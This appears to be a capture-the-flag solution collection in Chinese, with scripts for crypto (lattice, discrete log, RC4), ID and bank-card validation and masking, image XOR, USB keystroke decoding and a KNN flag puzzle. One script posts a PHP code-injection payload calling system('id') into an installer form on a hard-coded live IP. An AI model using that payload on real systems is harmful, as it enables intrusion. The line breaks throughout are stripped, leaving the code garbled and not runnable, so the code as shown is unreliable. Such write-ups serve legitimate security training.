cc6e3b5956601dddea95c6310ac32bfeec1bab6b83e85371078a16ea9489050175098d39488aaed2a190c647fe2b1b69,0xe85698e04d8bedbac2c7884c914b7026dbb1dd5134c4a5a8e7541b07c8a94ab3d2f12eb7f1171ccd564054e1dc63d5ac044e5c5552870b419fef35a572199239,0xea94663e103e4354fb7feb80b11d06c7e16feb7265f69ee882180baba70fa075df24e3fe1ad12a99f054cabf4a3f5e4823416d4c4daa02ca51ce3926034186db,0x93662718294005f4ac8f79b0799e240a05eea871ef07d623ea7c68ef818b3b55fb4f9b6f06c399726e59cec03389053b448f187404cddb93cb3c55e3d12cebc9]cs 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= len(rs)kbits = 400K = 2 ** kbitsP = identity_matrix(t) * pRC = matrix([[-1, 0], [0, 1]]) * matrix([rs, cs])KP = matrix([[K / p, 0], [0, K]])M = block_matrix([[P, 0], [RC, KP]], subdivide=False)shortest_vector = M.LLL()x = shortest_vector[1, -2] / K * p % pprint(x)G=GF(p)factors, exps = zip(*factor(p - 1))primes = [factors[i] ^ exps[i] for i in range(len(factors))]print(primes)dlogs = []for fac in primes[:-1]: t = (p - 1) // fac dlog = discrete_log(G(pow(enc, t, p)), G(pow(x, t, p))) dlogs += [dlog]s = (p - 1) // primes[-1]print(s)res = crt(dlogs, primes[:-1])for i in range(100):if b'flag{'in long_to_bytes(res + i * s): print(long_to_bytes(res + i * s))break
import refrom datetime import datetimeimport hashlibimport pandas as pddefis_sfz(id_number):if not isinstance(id_number, str) or len(id_number) != 18:return Falseif not re.match(r"^d{17}[dXx]$", id_number):return Falseif not id_number[:6].isdigit():return Falsetry: birth_date = datetime.strptime(id_number[6:14], "%Y%m%d")if birth_date > datetime.now():return Falseif birth_date.year < datetime.now().year - 150:return Falseexcept ValueError:return False weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = 0for i in range(17): total += int(id_number[i]) * weights[i] calculated_check_code = check_codes[total % 11]if id_number[-1].upper() != calculated_check_code:return Falsereturn Truedefis_phone_number(phone_number):if not isinstance(phone_number, str) or len(phone_number) != 11:return Falseif not phone_number.isdigit():return Falseif phone_number[0] != '1'or not ('3' <= phone_number[1] <= '9'):return Falsereturn Truedefis_email(email):if not isinstance(email, str) or not email or len(email) > 254:return False# 正则表达式匹配RFC 5322标准的基本邮箱格式 pattern = r""" ^ # 开始 [a-zA-Z0-9] # 必须以字母数字开头 [a-zA-Z0-9._%+-]{0,63} # 中间字符（最多64字符） @ # @符号 [a-zA-Z0-9.-]{1,63} # 域名部分 . # 最后一个点 [a-zA-Z]{2,} # 顶级域名(至少2字符) $ # 结束 """ email_regex = re.compile(pattern, re.VERBOSE)if not email_regex.match(email):return Falseif".."in email or"--"in email:return False local_part, domain = email.split('@', 1)if len(local_part) > 64:return Falseif len(domain) > 253:return False domain_parts = domain.split('.')for part in domain_parts:if not part or part.startswith('-') or part.endswith('-'):return Falsereturn Truedefis_yhk(card_number): card_number = ''.join(filter(str.isdigit, str(card_number)))if len(card_number) < 13 or len(card_number) > 19:return False total = 0 reverse_digits = card_number[::-1]for i, digit in enumerate(reverse_digits): num = int(digit)if i % 2 == 1: num *= 2if num > 9: num = (num // 10) + (num % 10) total += numreturn total % 10 == 0defis_ok(sfz, phone, email, yhk):if is_sfz(sfz) and is_phone_number(phone) and is_email(email) and is_yhk(yhk):return Truecount = 0excel_obj = pd.read_excel("data.xlsx")data = excel_obj.iloc[:, 0:4].values.tolist()for one in data:if is_ok(one[0], one[1], one[2], one[3]): count += 1print(hashlib.md5(str(count).encode('utf-8')).hexdigest())'''082a8bbf2c357c09f26675f9cf5bcba3'''-
身份证：前6位+** -
手机号：前3后3中间* -
邮箱：@前除.外全* -
银行卡：前4后10中间* -
姓名：2字首+* / 3字首尾+* / 4字首尾+** -
性别→未知 -
微信号：全*
import pandas as pdfrom hashlib import md5 as hasherPROCESSORS = [#身份证号脱敏 ('身份证号', lambda x: x[:6] + '*'*(len(x)-6)), ('Email', lambda e: ''.join('*'if c != '.'else'.'for c in e.split('@')[0]) + '@' + e.split('@')[1]), ('手机号', lambda p: f"{str(p)[:3]}*****{str(p)[-3:]}"), ('性别', lambda _: "未知"), ('银行卡号', lambda c: str(c)[:4] + '*'*(len(str(c))-14) + str(c)[-10:]), ('姓名', lambda n: ( n[0]+'*'*(len(n)-1) if len(n)==2else n[0]+'*'+n[2] if len(n)==3else n[0]+'**'+n[3] if len(n)==4else n )), ('微信号', lambda w: '*'*len(w))]raw_data = pd.read_excel('data.xlsx')modified = raw_data.copy()for column, processor in PROCESSORS: modified[column] = modified[column].apply(processor)FIELD_ORDER = ['姓名', '手机号', '身份证号', '银行卡号', 'Email', '性别', '微信号']concat_parts = []for _, row in modified[FIELD_ORDER].iterrows(): row_str = ''for field in FIELD_ORDER: row_str += str(row[field]) concat_parts.append(row_str)full_string = ''.join(concat_parts)# 计算md5digest = hasher(full_string.encode('utf-8')).hexdigest()print(digest)
source_file = open("tmp.png", "rb")try: image_content = source_file.read() reversed_content = image_content[::-1] output_file = open("result.png", "wb")try: output_file.write(reversed_content)finally: output_file.close()finally: source_file.close()
from PIL import Imagedefopen_image(image_path):""" 打开指定路径的图片 :param image_path: 图片的文件路径 :return: 打开的图片对象 """try:return Image.open(image_path)except FileNotFoundError: print(f"错误：未找到图片文件 {image_path}")return Nonedefprint_image_dimensions(image):""" 打印图片的宽度和高度 :param image: 图片对象 """if image: width, height = image.size print(f"图片宽度: {width}, 图片高度: {height}")defconvert_image_to_binary(image):""" 将图片转换为二进制字符串，白色像素用 '0' 表示，黑色像素用 '1' 表示 :param image: 图片对象 :return: 二进制字符串 """ binary_string = ""if image: width, height = image.sizefor y in range(height):for x in range(width): pixel = image.getpixel((x, y))if pixel == 255: binary_string += '0'elif pixel == 0: binary_string += '1'else: print(f"发现非黑白像素值: {pixel}")return binary_stringdefbinary_string_to_int(binary_str):""" 将二进制字符串转换为整数 :param binary_str: 二进制字符串 :return: 对应的整数 """return int(binary_str, 2) if binary_str else0defwrite_bytes_to_file(byte_data, file_path):""" 将字节数据写入指定文件 :param byte_data: 字节数据 :param file_path: 文件路径 """try:with open(file_path, 'wb') as file: file.write(byte_data) print(f"数据已成功写入 {file_path}")except Exception as e: print(f"写入文件时出错: {e}")# 打开两张图片image_one = open_image("black_white.png")image_two = open_image("result.png")# 打印图片尺寸print_image_dimensions(image_one)print_image_dimensions(image_two)# 将图片转换为二进制字符串并转换为整数binary_int_one = binary_string_to_int(convert_image_to_binary(image_one))binary_int_two = binary_string_to_int(convert_image_to_binary(image_two))# 打印转换后的字节数据print(binary_int_one.to_bytes(900, 'big'))print(binary_int_two.to_bytes(900, 'big'))# 执行异或运算xor_result = binary_int_one ^ binary_int_two# 打印异或结果的字节数据print(xor_result.to_bytes(900, 'big'))# 将异或结果写入文件write_bytes_to_file(xor_result.to_bytes(900, 'big'), "out1.zip")
import pandas as pdfrom sklearn.neighbors import KNeighborsClassifierfrom sklearn.model_selection import train_test_splitfrom sklearn.metrics import accuracy_score# 加载历史评分数据，指定编码为GBKhistory_data = pd.read_csv('新能源汽车检测数据.csv', encoding='GBK')# 读取待检测新能源车数据test_data = pd.read_csv('待检测新能源车.csv', encoding='GBK')# 提取特征和目标变量X = history_data[['防碰撞评分', '电池容量评分', '智能驾驶能力', '智能座舱评分']]y = history_data['名称']# 划分训练集和测试集X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)# 创建KNN分类器，这里假设K取5，可根据实际情况调整knn = KNeighborsClassifier(n_neighbors=10)# 在训练集上训练模型knn.fit(X_train, y_train)# 在测试集上进行预测y_pred = knn.predict(X_test)# 计算模型的准确率accuracy = accuracy_score(y_test, y_pred)print(f'模型准确率: {accuracy}')# 提取待检测新能源车数据的特征test_X = test_data[['防碰撞评分', '电池容量评分', '智能驾驶能力', '智能座舱评分']]# 使用训练好的模型进行预测test_pred = knn.predict(test_X)# 将预测结果添加到待检测新能源车数据中test_data['预测车型'] = test_pred# 将结果保存为csv文件csv_path = '待检测新能源车_预测结果.csv'test_data.to_csv(csv_path, index=False, encoding='utf-8')df = pd.read_csv(csv_path, encoding='utf-8')# 将预测车型列中的A车替换为0，B车替换为1df['预测车型'] = df['预测车型'].map({'A车': '0', 'B车': '1'})# 将预测车型列的所有值连接成一个字符串binary_string = ''.join(df['预测车型'])# 按每8位一组分割二进制字符串binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]# 将每个8位二进制字符串转换为ASCII字符ascii_string = ''.join([chr(int(chunk, 2)) for chunk in binary_chunks])# 输出结果print('转换后的ASCII码字符串为:', ascii_string)
<?phpreturnarray('DB_TYPE' => '[DB_TYPE]', // 数据库类型'DB_HOST' => '[DB_HOST]', // 服务器地址'DB_NAME' => '[DB_NAME]', // 数据库名'DB_USER' => '[DB_USER]', // 用户名'DB_PWD' => '[DB_PWD]', // 密码'DB_PORT' => '[DB_PORT]', // 端口'DB_PREFIX' => '[DB_PREFIX]', // 数据库表前缀);?>import requestsurl = "http://115.29.176.197:23303/install.php?s=/install/step2.html"data = "db[]=mysqli&db[]=xxx'.system('id').'&db[]=dbname&db[]=root&db[]=123456aA.&db[]=3306&db[]=test_&admin[]=admin&admin[]=123&admin[]=test12&admin[]=test12&admin[][email protected]"print(requests.post(url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}).text)
# USB HID 键盘扫描码到字符的映射KEYCODE_MAP = {0x04: 'a', 0x05: 'b', 0x06: 'c', 0x07: 'd', 0x08: 'e', 0x09: 'f', 0x0A: 'g', 0x0B: 'h',0x0C: 'i', 0x0D: 'j', 0x0E: 'k', 0x0F: 'l', 0x10:'m', 0x11: 'n', 0x12: 'o', 0x13: 'p',0x14: 'q', 0x15: 'r', 0x16:'s', 0x17: 't', 0x18: 'u', 0x19: 'v', 0x1A: 'w', 0x1B: 'x',0x1C: 'y', 0x1D: 'z', 0x1E: '1', 0x1F: '2', 0x20: '3', 0x21: '4', 0x22: '5', 0x23: '6',0x24: '7', 0x25: '8', 0x26: '9', 0x27: '0', 0x28: 'n', 0x29: 'Escape', 0x2A: 'Backspace',0x2B: 'Tab', 0x2C:' ', 0x2D: '-', 0x2E: '=', 0x2F: '[', 0x30: ']', 0x31: '\', 0x32: ';',0x33: ''', 0x34: '`', 0x35: ',', 0x36: '.', 0x37: '/', 0x38: 'Caps Lock', 0x39: 'F1',0x3A: 'F2', 0x3B: 'F3', 0x3C: 'F4', 0x3D: 'F5', 0x3E: 'F6', 0x3F: 'F7', 0x40: 'F8',0x41: 'F9', 0x42: 'F10', 0x43: 'F11', 0x44: 'F12', 0x45: 'Print Screen', 0x46: 'Scroll Lock',0x47: 'Pause', 0x48: 'Insert', 0x49: 'Home', 0x4A: 'Page Up', 0x4B: 'Delete', 0x4C: 'End',0x4D: 'Page Down', 0x4E: 'Right Arrow', 0x4F: 'Left Arrow', 0x50: 'Down Arrow', 0x51: 'Up Arrow',0x52: 'Num Lock', 0x53: 'Keypad /', 0x54: 'Keypad *', 0x55: 'Keypad -', 0x56: 'Keypad +',0x57: 'Keypad Enter', 0x58: 'Keypad 1', 0x59: 'Keypad 2', 0x5A: 'Keypad 3', 0x5B: 'Keypad 4',0x5C: 'Keypad 5', 0x5D: 'Keypad 6', 0x5E: 'Keypad 7', 0x5F: 'Keypad 8', 0x60: 'Keypad 9',0x61: 'Keypad 0', 0x62: 'Keypad .', 0x63: 'Non-US # and ~', 0x64: 'Application', 0x65: 'Power',0x66: 'Keypad =', 0x67: 'F13', 0x68: 'F14', 0x69: 'F15', 0x6A: 'F16', 0x6B: 'F17', 0x6C: 'F18',0x6D: 'F19', 0x6E: 'F20', 0x6F: 'F21', 0x70: 'F22', 0x71: 'F23', 0x72: 'F24', 0x73: 'Execute',0x74: 'Help', 0x75: 'Menu', 0x76: 'Select', 0x77: 'Stop', 0x78: 'Again', 0x79: 'Undo',0x7A: 'Cut', 0x7B: 'Copy', 0x7C: 'Paste', 0x7D: 'Find', 0x7E: 'Mute', 0x7F: 'Volume Up',0x80: 'Volume Down'}defdecode_usb_keyboard_data(data):""" 解码 USB 键盘数据 :param data: 十六进制字符串形式的 USB 键盘数据 :return: 解码后的按键信息列表 """try:# 将十六进制字符串转换为字节 bytes_data = bytes.fromhex(data.replace(" ", "")) keys = []# 从第 2 个字节开始解析按键信息for i in range(2, len(bytes_data)): keycode = bytes_data[i]if keycode in KEYCODE_MAP: keys.append(KEYCODE_MAP[keycode])return keysexcept ValueError: print("输入的不是有效的十六进制字符串")return []if __name__ == "__main__":try:with open('out.txt', 'r') as file:for line in file: line = line.strip() decoded_keys = decode_usb_keyboard_data(line) print(f"解码行数据 '{line}' 的按键信息:", decoded_keys)except FileNotFoundError: print("文件 out.txt 不存在")
#include<stdio.h>unsigned char S_Box[256] = { 0 };// RC4 initialvoidInit(unsignedchar* key, int keyLen){unsigned char T[256] = { 0 };for (int i = 0; i < 256; i++) { S_Box[i] = i; T[i] = key[i % keyLen]; }int j = 0;for (int i = 0; i < 256; i++) { j = (j + S_Box[i] + T[i]) % 256;unsigned char tmp = S_Box[i]; S_Box[i] += S_Box[j]; S_Box[j] += tmp; }return;}// RC4 Encryption and Decryption (The same)voidRC4(unsignedchar* key, int keyLen, unsignedchar* data, int dataLen){ Init(key, keyLen);int i = 0, j = 0;for (int k = 0; k < dataLen; k++) { i = (i + 1) % 256; j = (j + S_Box[i]) % 256;unsigned char tmp = S_Box[i]; S_Box[i] = S_Box[j]; S_Box[j] = tmp; data[k] += S_Box[(S_Box[i] + S_Box[j]) % 256]; }}// Hex to Charconst char HexChar[16] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };voidhex2char(unsignedchar* hex, unsignedchar* chr, int hexLen){int lastIdx = 0;for (int i = 0; i < hexLen; i++) {int index = 0;for (index = 0; index < 16; index++) {if (HexChar[index] == hex[i]) {break; } }if (index == 16) {printf("Please check your hex string at POSITION [%d] again.n", i);return; }if (i & 1) chr[i / 2] = lastIdx * 16 + index;else lastIdx = index; }return;}intmain(){unsigned char key_hex[] = "726334497345617379";unsigned char data_hex[] = "643ad079b9e975526ee9fb0e52241cb62be486f86952533e3c8eb01662e6987f";int keyLen = 9, dataLen = 32;unsigned char key[10] = { 0 };unsigned char data[33] = { 0 }; hex2char(key_hex, key, keyLen * 2); hex2char(data_hex, data, dataLen * 2); RC4(key, keyLen, data, dataLen);printf("n[*]RC4 Encrypt/Decrypt result: ");printf("n%s",data);return 0;}
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